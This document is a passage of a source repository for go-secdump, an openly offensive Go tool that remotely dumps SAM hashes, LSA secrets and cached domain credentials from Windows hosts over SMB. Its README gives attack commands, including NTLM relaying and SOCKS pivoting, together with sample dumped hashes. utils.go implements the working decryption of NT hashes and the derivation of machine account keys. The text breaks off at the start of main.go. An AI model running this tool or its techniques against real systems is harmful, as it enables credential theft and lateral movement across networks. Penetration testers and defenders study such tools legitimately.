├── Makefile ├── go.mod ├── LICENSE ├── .github └── workflows │ └── release.yml ├── go.sum ├── README.md ├── utils.go ├── main.go └── sam.go /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags "-s -w" -o go-secdump 3 | GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags "-s -w" -o go-secdump.exe . 4 | 5 | clean: 6 | rm -f go-secdump 7 | rm -f go-secdump.exe 8 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/jfjallid/go-secdump 2 | 3 | go 1.24 4 | 5 | require ( 6 | github.com/jfjallid/go-smb v0.6.7 7 | github.com/jfjallid/golog v0.3.3 8 | golang.org/x/crypto v0.37.0 9 | golang.org/x/net v0.39.0 10 | golang.org/x/term v0.31.0 11 | ) 12 | 13 | require ( 14 | github.com/jfjallid/gofork v1.7.6 // indirect 15 | github.com/jfjallid/gokrb5/v8 v8.5.1 // indirect 16 | github.com/jfjallid/mstypes v0.0.1 // indirect 17 | github.com/jfjallid/ndr v0.0.1 // indirect 18 | golang.org/x/sys v0.32.0 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Jimmy Fjällid 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build binaries for Linux and Windows x64 architecture 2 | 3 | name: release 4 | 5 | on: 6 | release: 7 | types: [published] 8 | 9 | jobs: 10 | build: 11 | permissions: 12 | contents: write # to allow upload of release assets 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: checkout repo 16 | uses: actions/checkout@v4 17 | 18 | - name: set up Go 19 | uses: actions/setup-go@v4 20 | with: 21 | go-version: '1.21' 22 | 23 | - name: install dependencies 24 | run: go get 25 | 26 | - name: build project 27 | run: make 28 | 29 | - name: publish binaries to release 30 | run: | 31 | ASSET_NAME_1="go-secdump" 32 | ASSET_NAME_2="go-secdump.exe" 33 | UPLOAD_URL="https://uploads.github.com/repos/${{ github.repository }}/releases/${{ github.event.release.id }}/assets" 34 | 35 | # Upload asset 1 36 | curl -sSL -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" -H "Content-Type: application/octet-stream" --data-binary @"$ASSET_NAME_1" "$UPLOAD_URL?name=$ASSET_NAME_1" 37 | 38 | # Upload asset 2 39 | curl -sSL -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" -H "Content-Type: application/octet-stream" --data-binary @"$ASSET_NAME_2" "$UPLOAD_URL?name=$ASSET_NAME_2" 40 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/jfjallid/go-smb v0.6.7 h1:LvqFdJiJbgIFBtp+ZfTfOTOnakQoTbrUErZbipICZBI= 4 | github.com/jfjallid/go-smb v0.6.7/go.mod h1:Y/MMrSlRHwA9ZbnIoPV1PbEkOqW2UE4Gh0/bpmTqdOg= 5 | github.com/jfjallid/gofork v1.7.6 h1:OYyS2HH597860gkDxxjNsl+NZRxoAnuRI6ZsP++kYKE= 6 | github.com/jfjallid/gofork v1.7.6/go.mod h1:r1EH4W9KY5iqtiGhAupnbzMRONsLDApdJ9EZH5NWFSc= 7 | github.com/jfjallid/gokrb5/v8 v8.5.1 h1:6Mt7/s5Am1ygDWDoglP/9VH+k1io8ln7hmMF7BiEPFA= 8 | github.com/jfjallid/gokrb5/v8 v8.5.1/go.mod h1:B/NiCy81HOor1RSqAd6f1a81u5lPdRxq7vWpbf/KSKU= 9 | github.com/jfjallid/golog v0.3.3 h1:dY6qf8wTxJ9OwBPVTadVRDmt/6MVXSWwXrxaGMMyXsU= 10 | github.com/jfjallid/golog v0.3.3/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58= 11 | github.com/jfjallid/mstypes v0.0.1 h1:/USSXByO5ZMYDmc6mwcK+azKNVwym5vzrAv5uIxXy+U= 12 | github.com/jfjallid/mstypes v0.0.1/go.mod h1:a3RS3XrUS/+1FbmUNDHB2cJ878Z//brwfxBTG9PB9/M= 13 | github.com/jfjallid/ndr v0.0.1 h1:lnLIl7s6elqRnBgI2FZwWvzY0+hVF6eoWAJEDDyNi9c= 14 | github.com/jfjallid/ndr v0.0.1/go.mod h1:WWJb+oCrKbcTcX5wGvXUNoTUsRLk4qmhP2dfDsGXW1Q= 15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 16 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 17 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 18 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 19 | golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE= 20 | golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc= 21 | golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY= 22 | golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E= 23 | golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20= 24 | golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 25 | golang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o= 26 | golang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw= 27 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 28 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-secdump 2 | 3 | ## Description 4 | Package go-secdump is a tool built to remotely extract hashes from the SAM 5 | registry hive as well as LSA secrets and cached hashes from the SECURITY hive 6 | without any remote agent and without touching disk. 7 | 8 | The tool is built on top of the library [go-smb](https://github.com/jfjallid/go-smb) 9 | and use it to communicate with the Windows Remote Registry to retrieve registry 10 | keys directly from memory. 11 | 12 | It was built as a learning experience and as a proof of concept that it should 13 | be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA 14 | secrets as well as domain cached credentials without having to first save the 15 | registry hives to disk and then parse them locally. 16 | 17 | The main problem to overcome was that the SAM and SECURITY hives are only 18 | readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group 19 | administrators had the WriteDACL permission on the registry hives and could 20 | thus be used to temporarily grant read access to itself to retrieve the 21 | secrets and then restore the original permissions. 22 | 23 | However, a better approach was discovered (February 2025) by Julien Egloff 24 | over at Synacktiv. The BaseRegOpenKey request used to open handles to registry 25 | keys has an option to assert the SeBackupPrivilege which allows us to open the 26 | registry keys without first changing the DACLs. 27 | The tool has been updated to prefer this new approach and only change the DACLs 28 | if asked nicely. 29 | 30 | ## Credits 31 | Much of the code in this project is inspired/taken from Impacket's secdump 32 | but converted to access the Windows registry remotely and to only access the 33 | required registry keys. 34 | 35 | Some of the other sources that have been useful to understanding the registry 36 | structure and encryption methods are listed below: 37 | 38 | https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 39 | 40 | http://www.beginningtoseethelight.org/ntsecurity/index.htm 41 | 42 | https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral 43 | 44 | The idea to use SeBackupPrivilege came from Synacktiv: 45 | https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump 46 | 47 | ## Usage 48 | ``` 49 | Usage: ./go-secdump [options] 50 | 51 | options: 52 | --host Hostname or ip address of remote server. Must be hostname when using Kerberos 53 | -P, --port SMB Port (default 445) 54 | -d, --domain Domain name to use for login 55 | -u, --user Username 56 | -p, --pass Password 57 | -n, --no-pass Disable password prompt and send no credentials 58 | --hash Hex encoded NT Hash for user password 59 | --local Authenticate as a local user instead of domain user 60 | -k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux) 61 | --dc-ip Optionally specify ip of KDC when using Kerberos authentication 62 | --target-ip Optionally specify ip of target when using Kerberos authentication 63 | --aes-key Use a hex encoded AES128/256 key for Kerberos authentication 64 | --dump Saves the SAM and SECURITY hives to disk and 65 | transfers them to the local machine. 66 | --sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included. 67 | --lsa Extract LSA secrets explicitly. Only other explicit targets are included. 68 | --dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included. 69 | --modify-dacl Change DACLs of reg keys before dump. 70 | Only required if keys cannot be opened using SeBackupPrivilege. (default false) 71 | --backup-dacl Save original DACLs to disk before modification 72 | --restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails. 73 | --backup-file Filename for DACL backup (default dacl.backup) 74 | --relay Start an SMB listener that will relay incoming 75 | NTLM authentications to the remote server and 76 | use that connection. NOTE that this forces SMB 2.1 77 | without encryption. 78 | --relay-port Listening port for relay (default 445) 79 | --socks-host Establish connection via a SOCKS5 proxy server 80 | --socks-port SOCKS5 proxy port (default 1080) 81 | -t, --timeout Dial timeout in seconds (default 5) 82 | --noenc Disable smb encryption 83 | --smb2 Force smb 2.1 84 | --debug Enable debug logging 85 | --verbose Enable verbose logging 86 | -o, --output Filename for writing results (default is stdout). Will append to file if it exists. 87 | -v, --version Show version 88 | 89 | ``` 90 | 91 | ## Changing DACLs 92 | Now only as an optional feature enabled with `--modify-dacl`, 93 | go-secdump will automatically try to modify and then restore the DACLs of the 94 | required registry keys. However, if something goes wrong during the restoration 95 | part such as a network disconnect or other interrupt, the remote registry will 96 | be left with the modified DACLs. 97 | 98 | Using the `--backup-dacl` argument it is possible to store a serialized copy of 99 | the original DACLs before modification. 100 | If a connectivity problem occurs, the DACLs can later be restored from file 101 | using the `--restore-dacl` argument. 102 | 103 | ## Examples 104 | 105 | Dump all registry secrets using the SeBackupPrivilege trick 106 | 107 | ``` 108 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local 109 | or 110 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2 111 | ``` 112 | 113 | Dump only SAM, LSA, or DCC2 cache secrets 114 | 115 | ``` 116 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam 117 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa 118 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2 119 | ``` 120 | 121 | ### NTLM Relaying 122 | Dump registry secrets using NTLM relaying 123 | 124 | Start listener 125 | ``` 126 | ./go-secdump --host 192.168.0.100 -n --relay 127 | ``` 128 | 129 | Trigger an auth to your machine from a client with administrative access to 130 | 192.168.0.100 somehow and then wait for the dumped secrets. 131 | 132 | ``` 133 | YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805 134 | YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)! 135 | Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0 136 | 2023/12/13 14:47:28 [Notice] [+] Signing is NOT required 137 | 2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator 138 | [*] Dumping local SAM hashes 139 | Name: Administrator 140 | RID: 500 141 | NT: 2727D7906A776A77B34D0430EAACD2C5 142 | 143 | Name: Guest 144 | RID: 501 145 | NT: 146 | 147 | Name: DefaultAccount 148 | RID: 503 149 | NT: 150 | 151 | Name: WDAGUtilityAccount 152 | RID: 504 153 | NT: 154 | 155 | [*] Dumping LSA Secrets 156 | [*] $MACHINE.ACC 157 | $MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4 158 | $MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f... 159 | [*] DPAPI_SYSTEM 160 | dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100 161 | dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939 162 | [*] NL$KM 163 | NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74 164 | [*] Dumping cached domain credentials (domain/username:hash) 165 | DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab 166 | ... 167 | ``` 168 | 169 | ### SOCKS Proxy 170 | Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take 171 | advantage of Impacket's ntlmrelayx.py SOCKS server functionality. 172 | 173 | When using ntlmrelayx.py as the upstream proxy, the provided username must match 174 | that of the authenticated client, but the password can be empty. 175 | 176 | ``` 177 | ./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server 178 | ... 179 | 180 | ./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080 181 | ``` 182 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | // MIT License 2 | // 3 | // # Copyright (c) 2023 Jimmy Fjällid 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | package main 23 | 24 | import ( 25 | "crypto/aes" 26 | "crypto/cipher" 27 | "crypto/des" 28 | "crypto/md5" 29 | "crypto/rc4" 30 | "crypto/sha1" 31 | "crypto/sha256" 32 | "encoding/binary" 33 | "fmt" 34 | "golang.org/x/crypto/pbkdf2" 35 | "math/bits" 36 | "strconv" 37 | "strings" 38 | "unicode/utf16" 39 | ) 40 | 41 | const ( 42 | WIN_UNKNOWN = iota 43 | WINXP 44 | WIN_SERVER_2003 45 | WIN_VISTA 46 | WIN_SERVER_2008 47 | WIN7 48 | WIN_SERVER_2008_R2 49 | WIN8 50 | WIN_SERVER_2012 51 | WIN81 52 | WIN_SERVER_2012_R2 53 | WIN10 54 | WIN_SERVER_2016 55 | WIN_SERVER_2019 56 | WIN_SERVER_2022 57 | WIN11 58 | ) 59 | 60 | var aes256_constant = []byte{0x6B, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6F, 0x73, 0x7B, 0x9B, 0x5B, 0x2B, 0x93, 0x13, 0x2B, 0x93, 0x5C, 0x9B, 0xDC, 0xDA, 0xD9, 0x5C, 0x98, 0x99, 0xC4, 0xCA, 0xE4, 0xDE, 0xE6, 0xD6, 0xCA, 0xE4} 61 | 62 | var osNameMap = map[byte]string{ 63 | WIN_UNKNOWN: "Windows Unknown", 64 | WINXP: "Windows XP", 65 | WIN_VISTA: "Windows Vista", 66 | WIN7: "Windows 7", 67 | WIN8: "Windows 8", 68 | WIN81: "Windows 8.1", 69 | WIN10: "Windows 10", 70 | WIN11: "Windows 11", 71 | WIN_SERVER_2003: "Windows Server 2003", 72 | WIN_SERVER_2008: "Windows Server 2008", 73 | WIN_SERVER_2008_R2: "Windows Server 2008 R2", 74 | WIN_SERVER_2012: "Windows Server 2012", 75 | WIN_SERVER_2012_R2: "Windows Server 2012 R2", 76 | WIN_SERVER_2016: "Windows Server 2016", 77 | WIN_SERVER_2019: "Windows Server 2019", 78 | WIN_SERVER_2022: "Windows Server 2022", 79 | } 80 | 81 | func GetOSVersion(currentBuild int, currentVersion float64, server bool) (os byte) { 82 | 83 | currentVersionStr := strconv.FormatFloat(currentVersion, 'f', 1, 64) 84 | if server { 85 | switch { 86 | case currentBuild >= 3790 && currentBuild < 6001: 87 | os = WIN_SERVER_2003 88 | case currentBuild >= 6001 && currentBuild < 7601: 89 | os = WIN_SERVER_2008 90 | case currentBuild >= 7601 && currentBuild < 9200: 91 | os = WIN_SERVER_2008_R2 92 | case currentBuild >= 9200 && currentBuild < 9600: 93 | os = WIN_SERVER_2012 94 | case currentBuild >= 9200 && currentBuild < 14393: 95 | os = WIN_SERVER_2012_R2 96 | case currentBuild >= 14393 && currentBuild < 17763: 97 | os = WIN_SERVER_2016 98 | case currentBuild >= 17763 && currentBuild < 20348: 99 | os = WIN_SERVER_2019 100 | case currentBuild >= 20348: 101 | os = WIN_SERVER_2022 102 | default: 103 | log.Debugf("Unknown server version of Windows with CurrentBuild %d and CurrentVersion %f\n", currentBuild, currentVersion) 104 | os = WIN_UNKNOWN 105 | } 106 | } else { 107 | switch currentVersionStr { 108 | case "5.1": 109 | os = WINXP 110 | case "6.0": 111 | // Windows Vista but it shares CurrentVersion and CurrentBuild with Windows Server 2008 112 | os = WIN_VISTA 113 | case "6.1": 114 | // Windows 7 but it shares CurrentVersion and CurrentBuild with Windows Server 2008 R2 115 | os = WIN7 116 | case "6.2": 117 | // Windows 8 but it shares CurrentVersion and CurrentBuild with Windows Server 2012 118 | os = WIN8 119 | case "6.3": 120 | // Windows 8.1 but it shares CurrentVersion and CurrentBuild with Windows Server 2012 R2 121 | os = WIN81 122 | case "10.0": 123 | if currentBuild < 22000 { 124 | os = WIN10 125 | } else { 126 | os = WIN11 127 | } 128 | default: 129 | log.Debugf("Unknown version of Windows with CurrentBuild %d and CurrentVersion %f\n", currentBuild, currentVersion) 130 | os = WIN_UNKNOWN 131 | } 132 | } 133 | 134 | log.Debugf("OS Version: %s\n", osNameMap[os]) 135 | return 136 | } 137 | 138 | func IsWin10After1607(build int, version float64) (value bool, err error) { 139 | if build >= 14393 { 140 | value = true 141 | } else { 142 | value = false 143 | } 144 | return 145 | } 146 | 147 | func IsBetweenWinXPWin10(build int, version float64, isServer bool) (value bool, err error) { 148 | os := GetOSVersion(build, version, isServer) 149 | if (WINXP <= os) && (os <= WIN10) { 150 | value = true 151 | } else { 152 | value = false 153 | } 154 | return 155 | } 156 | 157 | func SHA256(key, value []byte, rounds int) []byte { 158 | if rounds == 0 { 159 | rounds = 1000 160 | } 161 | h := sha256.New() 162 | h.Write(key) 163 | for i := 0; i < 1000; i++ { 164 | h.Write(value) 165 | } 166 | return h.Sum(nil) 167 | } 168 | 169 | func DecryptAES(key, ciphertext, iv []byte) (plaintext []byte, err error) { 170 | nullIV := true 171 | var mode cipher.BlockMode 172 | block, err := aes.NewCipher(key) 173 | if err != nil { 174 | log.Errorln(err) 175 | return 176 | } 177 | if iv != nil { 178 | mode = cipher.NewCBCDecrypter(block, iv) 179 | nullIV = false 180 | } else { 181 | iv = make([]byte, 16) 182 | } 183 | ciphertextLen := len(ciphertext) 184 | var cipherBuffer []byte 185 | for i := 0; i < ciphertextLen; i += 16 { 186 | if nullIV { 187 | mode = cipher.NewCBCDecrypter(block, iv) 188 | } 189 | // Need to calculate 16 bytes block every time and padd with 0 if not enough bytes left 190 | dataLeft := len(ciphertext[i:]) 191 | if dataLeft < 16 { 192 | padding := 16 - dataLeft 193 | cipherBuffer = ciphertext[i : i+dataLeft] 194 | paddBuffer := make([]byte, padding) 195 | cipherBuffer = append(cipherBuffer, paddBuffer...) 196 | } else { 197 | cipherBuffer = ciphertext[i : i+16] 198 | } 199 | // Decryption in-place 200 | mode.CryptBlocks(cipherBuffer, cipherBuffer) 201 | plaintext = append(plaintext, cipherBuffer...) 202 | } 203 | return 204 | } 205 | 206 | // Wellknown function to convert 56bit to 64bit des key 207 | // final step is to check parity and add the parity bit as the right most bit 208 | // Not sure what the first part of this function does. 209 | func plusOddParity(input []byte) []byte { 210 | output := make([]byte, 8) 211 | output[0] = input[0] >> 0x01 212 | output[1] = ((input[0] & 0x01) << 6) | (input[1] >> 2) 213 | output[2] = ((input[1] & 0x03) << 5) | (input[2] >> 3) 214 | output[3] = ((input[2] & 0x07) << 4) | (input[3] >> 4) 215 | output[4] = ((input[3] & 0x0f) << 3) | (input[4] >> 5) 216 | output[5] = ((input[4] & 0x1f) << 2) | (input[5] >> 6) 217 | output[6] = ((input[5] & 0x3f) << 1) | (input[6] >> 7) 218 | output[7] = input[6] & 0x7f 219 | for i := 0; i < 8; i++ { 220 | if (bits.OnesCount(uint(output[i])) % 2) == 0 { 221 | output[i] = (output[i] << 1) | 0x1 222 | } else { 223 | output[i] = (output[i] << 1) & 0xfe 224 | } 225 | } 226 | return output 227 | } 228 | 229 | func decryptNTHash(encHash, ridBytes []byte) (hash []byte, err error) { 230 | nt1 := make([]byte, 8) 231 | nt2 := make([]byte, 8) 232 | desSrc1 := make([]byte, 7) 233 | desSrc2 := make([]byte, 7) 234 | shift1 := []int{0, 1, 2, 3, 0, 1, 2} 235 | shift2 := []int{3, 0, 1, 2, 3, 0, 1} 236 | for i := 0; i < 7; i++ { 237 | desSrc1[i] = ridBytes[shift1[i]] 238 | desSrc2[i] = ridBytes[shift2[i]] 239 | } 240 | deskey1 := plusOddParity(desSrc1) 241 | deskey2 := plusOddParity(desSrc2) 242 | dc1, err := des.NewCipher(deskey1) 243 | if err != nil { 244 | log.Errorf("Failed to initialize first DES cipher with error: %v\n", err) 245 | return 246 | } 247 | dc2, err := des.NewCipher(deskey2) 248 | if err != nil { 249 | log.Errorf("Failed to initialize second DES cipher with error: %v\n", err) 250 | return 251 | } 252 | dc1.Decrypt(nt1, encHash[:8]) 253 | dc2.Decrypt(nt2, encHash[8:]) 254 | hash = append(hash, nt1...) 255 | hash = append(hash, nt2...) 256 | return 257 | } 258 | 259 | func DecryptRC4Hash(doubleEncHash, syskey []byte, rid uint32) (ntHash []byte, err error) { 260 | ridBytes := make([]byte, 4) 261 | encHash := make([]byte, 16) 262 | binary.LittleEndian.PutUint32(ridBytes, rid) 263 | input2 := []byte{} 264 | input2 = append(input2, syskey...) 265 | input2 = append(input2, ridBytes...) 266 | input2 = append(input2, s3...) 267 | rc4key := md5.Sum(input2) 268 | //log.Debugf("NT Hash RC4 encryption key: md5(%x %x %x)\n", syskey, ridBytes, s3) 269 | //log.Debugf("NT Hash RC4 encryption key: %x\n", rc4key) 270 | 271 | // Decrypt the encrypted NT Hash 272 | c2, err := rc4.NewCipher(rc4key[:]) 273 | if err != nil { 274 | log.Errorln("Failed to init RC4 key") 275 | return 276 | } 277 | c2.XORKeyStream(encHash, doubleEncHash) 278 | ntHash, err = decryptNTHash(encHash, ridBytes) 279 | return 280 | } 281 | 282 | func DecryptAESHash(doubleEncHash, encHashIV, syskey []byte, rid uint32) (ntHash []byte, err error) { 283 | ridBytes := make([]byte, 4) 284 | encHash := make([]byte, 16) 285 | binary.LittleEndian.PutUint32(ridBytes, rid) 286 | a1, err := aes.NewCipher(syskey) 287 | if err != nil { 288 | log.Errorln("Failed to init AES key") 289 | return 290 | } 291 | c1 := cipher.NewCBCDecrypter(a1, encHashIV) 292 | c1.CryptBlocks(encHash, doubleEncHash) 293 | ntHash, err = decryptNTHash(encHash, ridBytes) 294 | return 295 | } 296 | 297 | func calcAES256Key(key []byte) (result []byte, err error) { 298 | key1 := make([]byte, 32) 299 | key2 := make([]byte, 32) 300 | block, err := aes.NewCipher(key) 301 | if err != nil { 302 | log.Errorf("Failed to create new AES cipher with error: %s\n", err) 303 | return 304 | } 305 | iv := make([]byte, 16) 306 | mode := cipher.NewCBCEncrypter(block, iv) 307 | mode.CryptBlocks(key1, aes256_constant) 308 | 309 | block, err = aes.NewCipher(key) 310 | if err != nil { 311 | log.Errorf("Failed to create the second new AES cipher with error: %s\n", err) 312 | return 313 | } 314 | mode = cipher.NewCBCEncrypter(block, iv) 315 | mode.CryptBlocks(key2, key1) 316 | result = append(key1[:16], key2[:16]...) 317 | return 318 | } 319 | 320 | func calcAES128Key(key []byte) (result []byte, err error) { 321 | result = make([]byte, 16) 322 | block, err := aes.NewCipher(key) 323 | if err != nil { 324 | log.Errorf("Failed to create new AES cipher with error: %s\n", err) 325 | return 326 | } 327 | iv := make([]byte, 16) 328 | mode := cipher.NewCBCEncrypter(block, iv) 329 | mode.CryptBlocks(result, aes256_constant[:16]) 330 | return 331 | } 332 | 333 | func unicodeHexToUtf8(utf16Bytes []byte) (result string, err error) { 334 | if len(utf16Bytes)%2 > 0 { 335 | err = fmt.Errorf("Unicode (UTF 16 LE) specified, but uneven data length") 336 | log.Errorln(err) 337 | return 338 | } 339 | 340 | utf16Data := make([]uint16, len(utf16Bytes)/2) 341 | for i := 0; i < len(utf16Bytes); i += 2 { 342 | utf16Data[i/2] = uint16(utf16Bytes[i]) | uint16(utf16Bytes[i+1])<<8 343 | } 344 | 345 | utf8Str := string(utf16.Decode(utf16Data)) 346 | 347 | return utf8Str, nil 348 | } 349 | 350 | func CalcMachineAESKeys(hostname, domain string, hexPass []byte) (aes128Key, aes256Key []byte, err error) { 351 | const ITERATIONS int = 4096 // Default for Active Directory 352 | 353 | domain = strings.ToUpper(domain) 354 | salt := fmt.Sprintf("%shost%s.%s", domain, strings.ToLower(hostname), strings.ToLower(domain)) 355 | 356 | val, err := unicodeHexToUtf8(hexPass) 357 | if err != nil { 358 | log.Errorf("Failed to decode the MachineAccount's Unicode password: %s\n", err) 359 | return 360 | } 361 | passBytes := []byte(val) 362 | 363 | dk256 := pbkdf2.Key(passBytes, []byte(salt), ITERATIONS, 32, sha1.New) 364 | dk128 := dk256[:16] 365 | aes256Key, err = calcAES256Key(dk256) 366 | if err != nil { 367 | log.Errorln(err) 368 | return 369 | } 370 | aes128Key, err = calcAES128Key(dk128) 371 | if err != nil { 372 | log.Errorln(err) 373 | return 374 | } 375 | return 376 | } 377 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // MIT License 2 | // 3 | // # Copyright (c) 2023 Jimmy Fjällid 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 